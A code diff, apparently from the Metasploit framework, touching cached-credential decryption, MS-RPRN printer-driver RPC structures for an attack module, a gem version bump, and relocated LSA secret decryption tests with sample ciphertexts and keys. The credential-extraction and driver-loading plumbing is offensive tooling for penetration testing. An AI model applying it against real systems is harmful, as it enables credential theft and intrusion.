cache = CacheEntry.read(value_data)
cache_info = CacheInfo.new(name: value, entry: cache)
next cache_info unless cache.user_name_length > 0
enc_data = cache.enc_data.map(&:chr).join
if @lsa_vista_style
dec_data = decrypt_aes(enc_data, nlkm_key[16...32], cache.iv)
else
dec_data = decrypt_hash(enc_data, nlkm_key, cache.iv)
end
params = cache.snapshot.to_h.select { |key, _v| key.to_s.end_with?('_length') }
params[:group_count] = cache.group_count
cache_data = CacheData.new(params).read(dec_data)
cache_info.data = cache_data
if @lsa_vista_style
cache_info.iteration_count = iteration_count ? iteration_count : cache.iteration_count
if (cache_info.iteration_count > 10240)
cache_info.real_iteration_count = cache_info.iteration_count & 0xfffffc00
else
cache_info.real_iteration_count = cache_info.iteration_count * 1024
end
end
cache_info
end
end
end
end
end
end

View File

@ -140,7 +140,7 @@ Gem::Specification.new do |spec|
spec.add_runtime_dependency 'net-ssh'
spec.add_runtime_dependency 'ed25519' # Adds ed25519 keys for net-ssh
spec.add_runtime_dependency 'bcrypt_pbkdf'
spec.add_runtime_dependency 'ruby_smb', '~> 2.0'
spec.add_runtime_dependency 'ruby_smb', '~> 3.0'
spec.add_runtime_dependency 'net-ldap'
spec.add_runtime_dependency 'winrm'

View File

@ -30,45 +30,30 @@ module PrintSystem
APD_RETURN_BLOCKING_STATUS_CODE = 0x00010000
# [2.2.1.5.2 DRIVER_INFO_2](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/39bbfc30-8768-4cd4-9930-434857e2c2a2)
class DriverInfo2 < BinData::Record
class DriverInfo2 < RubySMB::Dcerpc::Ndr::NdrStruct
default_parameter byte_align: 4
endian :little
uint32 :c_version
uint32 :p_name_ref_id
uint32 :p_environment_ref_id
uint32 :p_driver_path_ref_id
uint32 :p_data_file_ref_id
uint32 :p_config_file_ref_id
ndr_string :p_name, only_if: -> { p_name_ref_id != 0 }
string :pad1, length: -> { pad_length(p_name) }
ndr_string :p_environment, only_if: -> { p_name_ref_id != 0 }
string :pad2, length: -> { pad_length(p_environment) }
ndr_string :p_driver_path, only_if: -> { p_name_ref_id != 0 }
string :pad3, length: -> { pad_length(p_driver_path) }
ndr_string :p_data_file, only_if: -> { p_name_ref_id != 0 }
string :pad4, length: -> { pad_length(p_data_file) }
ndr_string :p_config_file, only_if: -> { p_name_ref_id != 0 }
string :pad5, length: -> { pad_length(p_config_file) }
def pad_length(prev_element)
offset = (prev_element.abs_offset + prev_element.to_binary_s.length) % 4
(4 - offset) % 4
end
ndr_uint32 :c_version
ndr_wide_stringz_ptr :p_name
ndr_wide_stringz_ptr :p_environment
ndr_wide_stringz_ptr :p_driver_path
ndr_wide_stringz_ptr :p_data_file
ndr_wide_stringz_ptr :p_config_file
end
class PDriverInfo2 < RubySMB::Dcerpc::Ndr::NdrPointer
endian :little
driver_info2 :referent, onlyif: -> { referent_id != 0 }
class PDriverInfo2 < DriverInfo2
extend RubySMB::Dcerpc::Ndr::PointerClassPlugin
end
# [2.2.1.2.3 DRIVER_CONTAINER](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/3a3f9cf7-8ec4-4921-b1f6-86cf8d139bc2)
class DriverContainer < BinData::Record
class DriverContainer < RubySMB::Dcerpc::Ndr::NdrStruct
default_parameter byte_align: 4
endian :little
uint32 :level, check_value: -> { [2].include?(value) }
uint32 :tag
choice :driver_info, selection: :level do
ndr_uint32 :level, check_value: -> { [2].include?(value) }
ndr_uint32 :tag
choice :driver_info, selection: :level, byte_align: 4 do
p_driver_info2 2
end
end
@ -79,23 +64,14 @@ module PrintSystem
endian :little
ndr_lp_str :p_name
string :pad1, length: -> { pad_length(p_name) }
driver_container :p_driver_container
string :pad2, length: -> { pad_length(p_driver_container) }
uint32 :dw_file_copy_flags
ndr_wide_stringz_ptr :p_name
driver_container :p_driver_container
ndr_uint32 :dw_file_copy_flags
def initialize_instance
super
@opnum = RPC_ADD_PRINTER_DRIVER_EX
end
# Determines the correct length for the padding, so that the next
# field is 4-byte aligned.
def pad_length(prev_element)
offset = (prev_element.abs_offset + prev_element.to_binary_s.length) % 4
(4 - offset) % 4
end
end
# [3.1.4.4.8 RpcAddPrinterDriverEx (Opnum 89)](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/b96cc497-59e5-4510-ab04-5484993b259b)
@ -113,10 +89,9 @@ module PrintSystem
end
# for RpcEnumPrinterDrivers and RpcGetPrinterDriverDirectory `BYTE*` fields
class NdrLpLpByte < RubySMB::Dcerpc::Ndr::NdrPointer
endian :little
ndr_lp_byte :referent, onlyif: -> { referent_id != 0 }
class RprnByteArrayPtr < RubySMB::Dcerpc::Ndr::NdrConfArray
default_parameters type: :ndr_uint8
extend RubySMB::Dcerpc::Ndr::PointerClassPlugin
end
# [3.1.4.4.2 RpcEnumPrinterDrivers (Opnum 10)](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/857d00ac-3682-4a0d-86ca-3d3c372e5e4a)
@ -130,21 +105,11 @@ module PrintSystem
@opnum = RPC_ENUM_PRINTER_DRIVERS
end
ndr_lp_str :p_name
string :pad1, length: -> { pad_length(p_name) }
ndr_lp_str :p_environment
string :pad2, length: -> { pad_length(p_environment) }
uint32 :level
ndr_lp_lp_byte :p_drivers
string :pad3, length: -> { pad_length(p_drivers) }
uint32 :cb_buf
# Determines the correct length for the padding, so that the next
# field is 4-byte aligned.
def pad_length(prev_element)
offset = (prev_element.abs_offset + prev_element.to_binary_s.length) % 4
(4 - offset) % 4
end
ndr_wide_stringz_ptr :p_name
ndr_wide_stringz_ptr :p_environment
ndr_uint32 :level
rprn_byte_array_ptr :p_drivers
ndr_uint32 :cb_buf
end
# [3.1.4.4.2 RpcEnumPrinterDrivers (Opnum 10)](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/857d00ac-3682-4a0d-86ca-3d3c372e5e4a)
@ -158,18 +123,10 @@ module PrintSystem
@opnum = RPC_ENUM_PRINTER_DRIVERS
end
ndr_lp_lp_byte :p_drivers
string :pad1, length: -> { pad_length(p_drivers) }
uint32 :pcb_needed
uint32 :pc_returned
uint32 :error_status
# Determines the correct length for the padding, so that the next
# field is 4-byte aligned.
def pad_length(prev_element)
offset = (prev_element.abs_offset + prev_element.to_binary_s.length) % 4
(4 - offset) % 4
end
rprn_byte_array_ptr :p_drivers
ndr_uint32 :pcb_needed
ndr_uint32 :pc_returned
ndr_uint32 :error_status
end
# [3.1.4.4.4 RpcGetPrinterDriverDirectory (Opnum 12)](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/9df11cf4-4098-4852-ad72-d1f75a82bffe)
@ -183,21 +140,11 @@ module PrintSystem
@opnum = RPC_GET_PRINTER_DRIVER_DIRECTORY
end
ndr_lp_str :p_name
string :pad1, length: -> { pad_length(p_name) }
ndr_lp_str :p_environment
string :pad2, length: -> { pad_length(p_environment) }
uint32 :level
ndr_lp_lp_byte :p_driver_directory
string :pad3, length: -> { pad_length(p_driver_directory) }
uint32 :cb_buf
# Determines the correct length for the padding, so that the next
# field is 4-byte aligned.
def pad_length(prev_element)
offset = (prev_element.abs_offset + prev_element.to_binary_s.length) % 4
(4 - offset) % 4
end
ndr_wide_stringz_ptr :p_name
ndr_wide_stringz_ptr :p_environment
ndr_uint32 :level
rprn_byte_array_ptr :p_driver_directory
ndr_uint32 :cb_buf
end
# [3.1.4.4.4 RpcGetPrinterDriverDirectory (Opnum 12)](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/9df11cf4-4098-4852-ad72-d1f75a82bffe)
@ -211,17 +158,9 @@ module PrintSystem
@opnum = RPC_GET_PRINTER_DRIVER_DIRECTORY
end
ndr_lp_lp_byte :p_driver_directory
string :pad1, length: -> { pad_length(p_driver_directory) }
uint32 :pcb_needed
uint32 :error_status
# Determines the correct length for the padding, so that the next
# field is 4-byte aligned.
def pad_length(prev_element)
offset = (prev_element.abs_offset + prev_element.to_binary_s.length) % 4
(4 - offset) % 4
end
rprn_byte_array_ptr :p_driver_directory
ndr_uint32 :pcb_needed
ndr_uint32 :error_status
end
end
@ -406,14 +345,14 @@ class MetasploitModule < Msf::Auxiliary
response = rprn_call('RpcEnumPrinterDrivers', p_environment: environment, level: 2)
response = rprn_call('RpcEnumPrinterDrivers', p_environment: environment, level: 2, p_drivers: [0] * response.pcb_needed, cb_buf: response.pcb_needed)
fail_with(Failure::UnexpectedReply, 'Failed to enumerate printer drivers.') unless response.p_drivers&.length
DriverInfo2.read(response.p_drivers.referent.value.map(&:chr).join)
DriverInfo2.read(response.p_drivers.map(&:chr).join)
end
def get_printer_driver_directory(environment)
response = rprn_call('RpcGetPrinterDriverDirectory', p_environment: environment, level: 2)
response = rprn_call('RpcGetPrinterDriverDirectory', p_environment: environment, level: 2, p_driver_directory: [0] * response.pcb_needed, cb_buf: response.pcb_needed)
fail_with(Failure::UnexpectedReply, 'Failed to obtain the printer driver directory.') unless response.p_driver_directory&.length
RubySMB::Field::Stringz16.read(response.p_driver_directory.referent.value.map(&:chr).join).encode('ASCII-8BIT')
RubySMB::Field::Stringz16.read(response.p_driver_directory.map(&:chr).join).encode('ASCII-8BIT')
end
def add_printer_driver_ex(container)

File diff suppressed because it is too large Load Diff

View File

@ -21,91 +21,6 @@ RSpec.describe Msf::Post::Windows::Priv do
"\x27\x18\x0a\x2e\xe0\xfb\x98\x52\x77\x06\x24\x8e\x21\x80\xf4\x56"
end
# For Vista and newer
describe "#decrypt_lsa_data" do
let(:ciphertext) do
# From "HKLM\\Security\\Policy\\Secrets\\"
"\x00\x00\x00\x01\x68\x6e\x97\x93\xdb\xdb\xde\xc8\xf7\x40\x08\x79"+
"\x9d\x91\x64\x1c\x03\x00\x00\x00\x00\x00\x00\x00\x68\x38\x3f\xc5"+
"\x94\x10\xac\xcf\xbe\xf7\x8d\x12\xc0\xd5\xa2\x9d\x3d\x30\x30\xa8"+
"\x6d\xbd\xc6\x48\xd3\xe4\x36\x33\x86\x91\x0d\x8d\x8f\xfc\xd4\x8a"+
"\x87\x0c\x83\xde\xb4\x73\x9e\x21\x1b\x39\xef\x04\x36\x67\x97\x8a"+
"\x43\x40\x79\xcf\xdb\x3d\xcc\xfe\x10\x0c\x78\x11\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
end
let(:lsa_key) do
"\x93\x19\xb7\xb3\x93\x5b\xcb\x53\x5c\xb0\x54\xce\x0f\x5e\x27\xfd"+
"\x4f\xd1\xe3\xd3\x5b\x8c\x90\x4c\x13\xda\xb8\x39\xcc\x4e\x28\x43"
end
let(:plaintext) do
# Length of actual data?
"\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
# Unicode msfadmin
"\x6d\x00\x73\x00\x66\x00\x61\x00\x64\x00\x6d\x00\x69\x00\x6e\x00"+
# As far as I can tell, the rest of the data is gibberish?
# Possibly random padding, since plaintext seems to always be a
# multiple of 16 bytes.
"\xc3\x5f\x85\xc2\x62\x55\x25\x6c\x42\x89\x88\xc1\xe0\xe8\x17\x5e"
end
it "should produce expected plaintext" do
decrypted = subject.decrypt_lsa_data(ciphertext, lsa_key)
expect(decrypted).to eq plaintext
end
end
# For XP and older
describe "#decrypt_secret_data" do
let(:ciphertext) do
# From "HKLM\\Security\\Policy\\Secrets\\"
"\x22\xea\xc4\xd8\xfc\x5d\x36\xf4\x2e\x8b\xd3\x0f\x5d\xbc\xc4\x3a" +
"\x37\x4b\x84\xea\xa0\xc0\x96\x61"
end
let(:boot_key) { boot_key_xp }
let(:plaintext) do
# Unicode "msfadmin"
"\x6d\x00\x73\x00\x66\x00\x61\x00\x64\x00\x6d\x00\x69\x00\x6e\x00"
end
it "should produce expected plaintext" do
expect(subject.decrypt_secret_data(ciphertext, boot_key)).to eq plaintext
end
context 'with a large secret' do
let(:ciphertext) do
['d3c5991ffd49b7b072f00f3f8f1cae9d64c9300938f80ef9c0d01e1e3ec126c2127c5b27fe'\
'2f2191a6da1b4bf0dd6aef3f04484df22babd994b18428069979de669b935b85c8d7cdb470'\
'4e998752aedfd8a34c34ef38b8cf38f9a436d309e4c9100c46c2661652635e8cbb68990f9f'\
'd878ae201f56979cd298b1fd0ebfe893f6f9a3e174ba3daf07e97967d5561ce3041815d523'\
'2889ae6a17a600b2660aea0371e0e5bd6495772acec7b3954652a0172f72a0e5c8e2d5899b'\
'12132ade0a2f5ac47c0ffd957d51769247673943200ac9652c2f68e7b71c4a5b338cd62462'\
'd6384a502b15cb5e02dbbbf53b18f3ddc2bb7317c65422b067f27073d2fbb6ae98c8d75d44'\
'dda34cd2b9e429fe58a75771c7fe8b9c73c3a88a1b00d80af28d644e8e1a760280b9a5cd71'\
'319c1bfbf5ad04e9869d17ec392b0f00e7fac04affbf0825080df833d533f75e126af7c073'\
'893ad1c3fe09af99b935b7ac8500b10f2c8383cfc30201aed4b721d71b080816739b42a0ae'\
'0a167caf6f67ac8500b10f2c8383cfc30201aed4b721'].pack('H*')
end
let(:lsa_key) { ['5cd51b7d70c1814f0b37ada38babcd06'].pack('H*') }
let(:plaintext) do
['5253413248000000000200003f00000001000100e7bbffa5f31998062c6cbab92863d2b9cf'\
'0dd3a323d0dd2506ecf46febf44b517ba7475f8e470bfee47343c5eda72b039318ff76fede'\
'3b593d758f09d96d53c900000000000000007f0c0af6c84c675435170e3ba03122610ae55c'\
'd5f0d11dc19ca025af5680bef80000000099bcaf52b6aaa97bca0d1aa295011ce5bb372a8c'\
'31fd4adcf93758a8e6d432cf0000000097521ad69479c5cf129b8ee43c5b98f85a1b47b40e'\
'a06415026af9843067d18d00000000999201ae1bdbfd187d924430e9d8e7cbd306b65c49fd'\
'805609244ae33de2785c00000000a5139bbb9733b1a6395bdf4c233e0d653a9c0526d4007b'\
'4f54330b50ca41f861000000003160edfc16a22a6a0201f30f9a850db2272f6688bb849763'\
'cbc61ec39cf4566b77da7989000ff520a7a4bb94f88edf52a9d3b32f8edc5fd3ea238cacef'\
'60d21200000000000000000000000000000000000000000000000000000000000000000000'\
'00000000000000000000'].pack('H*')
end
it "should produce expected plaintext" do
expect(subject.decrypt_secret_data(ciphertext, lsa_key)).to eq plaintext
end
end
end
describe "#capture_lsa_key" do
let(:pol_enc_key_vista) do
"\x00\x00\x00\x01\xec\xff\xe1\x7b\x2a\x99\x74\x40\xaa\x93\x9a\xdb"+

View File

@ -0,0 +1,108 @@
# -*- coding: binary -*-
require 'spec_helper'
RSpec.describe Msf::Util::WindowsCryptoHelpers do
subject do
context_described_class = described_class
klass = Class.new(Msf::Post) do
include context_described_class
end
klass.new
end
let(:boot_key_vista) do
"\x50\xfb\xae\x5f\x5c\xd7\x70\x39\x54\xe5\x50\x48\x32\x1b\x81\x8d"
end
let(:boot_key_xp) do
"\x27\x18\x0a\x2e\xe0\xfb\x98\x52\x77\x06\x24\x8e\x21\x80\xf4\x56"
end
# For Vista and newer
describe "#decrypt_lsa_data" do
let(:ciphertext) do
# From "HKLM\\Security\\Policy\\Secrets\\"
"\x00\x00\x00\x01\x68\x6e\x97\x93\xdb\xdb\xde\xc8\xf7\x40\x08\x79"+
"\x9d\x91\x64\x1c\x03\x00\x00\x00\x00\x00\x00\x00\x68\x38\x3f\xc5"+
"\x94\x10\xac\xcf\xbe\xf7\x8d\x12\xc0\xd5\xa2\x9d\x3d\x30\x30\xa8"+
"\x6d\xbd\xc6\x48\xd3\xe4\x36\x33\x86\x91\x0d\x8d\x8f\xfc\xd4\x8a"+
"\x87\x0c\x83\xde\xb4\x73\x9e\x21\x1b\x39\xef\x04\x36\x67\x97\x8a"+
"\x43\x40\x79\xcf\xdb\x3d\xcc\xfe\x10\x0c\x78\x11\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
end
let(:lsa_key) do
"\x93\x19\xb7\xb3\x93\x5b\xcb\x53\x5c\xb0\x54\xce\x0f\x5e\x27\xfd"+
"\x4f\xd1\xe3\xd3\x5b\x8c\x90\x4c\x13\xda\xb8\x39\xcc\x4e\x28\x43"
end
let(:plaintext) do
# Length of actual data?
"\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
# Unicode msfadmin
"\x6d\x00\x73\x00\x66\x00\x61\x00\x64\x00\x6d\x00\x69\x00\x6e\x00"+
# As far as I can tell, the rest of the data is gibberish?
# Possibly random padding, since plaintext seems to always be a
# multiple of 16 bytes.
"\xc3\x5f\x85\xc2\x62\x55\x25\x6c\x42\x89\x88\xc1\xe0\xe8\x17\x5e"
end
it "should produce expected plaintext" do
decrypted = subject.decrypt_lsa_data(ciphertext, lsa_key)
expect(decrypted).to eq plaintext
end
end
# For XP and older
describe "#decrypt_secret_data" do
let(:ciphertext) do
# From "HKLM\\Security\\Policy\\Secrets\\"
"\x22\xea\xc4\xd8\xfc\x5d\x36\xf4\x2e\x8b\xd3\x0f\x5d\xbc\xc4\x3a" +
"\x37\x4b\x84\xea\xa0\xc0\x96\x61"
end
let(:boot_key) { boot_key_xp }
let(:plaintext) do
# Unicode "msfadmin"
"\x6d\x00\x73\x00\x66\x00\x61\x00\x64\x00\x6d\x00\x69\x00\x6e\x00"
end
it "should produce expected plaintext" do
expect(subject.decrypt_secret_data(ciphertext, boot_key)).to eq plaintext
end
context 'with a large secret' do
let(:ciphertext) do
['d3c5991ffd49b7b072f00f3f8f1cae9d64c9300938f80ef9c0d01e1e3ec126c2127c5b27fe'\
'2f2191a6da1b4bf0dd6aef3f04484df22babd994b18428069979de669b935b85c8d7cdb470'\
'4e998752aedfd8a34c34ef38b8cf38f9a436d309e4c9100c46c2661652635e8cbb68990f9f'\
'd878ae201f56979cd298b1fd0ebfe893f6f9a3e174ba3daf07e97967d5561ce3041815d523'\
'2889ae6a17a600b2660aea0371e0e5bd6495772acec7b3954652a0172f72a0e5c8e2d5899b'\
'12132ade0a2f5ac47c0ffd957d51769247673943200ac9652c2f68e7b71c4a5b338cd62462'\
'd6384a502b15cb5e02dbbbf53b18f3ddc2bb7317c65422b067f27073d2fbb6ae98c8d75d44'\
'dda34cd2b9e429fe58a75771c7fe8b9c73c3a88a1b00d80af28d644e8e1a760280b9a5cd71'\
'319c1bfbf5ad04e9869d17ec392b0f00e7fac04affbf0825080df833d533f75e126af7c073'\
'893ad1c3fe09af99b935b7ac8500b10f2c8383cfc30201aed4b721d71b080816739b42a0ae'\
'0a167caf6f67ac8500b10f2c8383cfc30201aed4b721'].pack('H*')
end
let(:lsa_key) { ['5cd51b7d70c1814f0b37ada38babcd06'].pack('H*') }
let(:plaintext) do
['5253413248000000000200003f00000001000100e7bbffa5f31998062c6cbab92863d2b9cf'\
'0dd3a323d0dd2506ecf46febf44b517ba7475f8e470bfee47343c5eda72b039318ff76fede'\
'3b593d758f09d96d53c900000000000000007f0c0af6c84c675435170e3ba03122610ae55c'\
'd5f0d11dc19ca025af5680bef80000000099bcaf52b6aaa97bca0d1aa295011ce5bb372a8c'\
'31fd4adcf93758a8e6d432cf0000000097521ad69479c5cf129b8ee43c5b98f85a1b47b40e'\
'a06415026af9843067d18d00000000999201ae1bdbfd187d924430e9d8e7cbd306b65c49fd'\
'805609244ae33de2785c00000000a5139bbb9733b1a6395bdf4c233e0d653a9c0526d4007b'\
'4f54330b50ca41f861000000003160edfc16a22a6a0201f30f9a850db2272f6688bb849763'\
'cbc61ec39cf4566b77da7989000ff520a7a4bb94f88edf52a9d3b32f8edc5fd3ea238cacef'\
'60d21200000000000000000000000000000000000000000000000000000000000000000000'\
'00000000000000000000'].pack('H*')
end
it "should produce expected plaintext" do
expect(subject.decrypt_secret_data(ciphertext, lsa_key)).to eq plaintext
end
end
end
end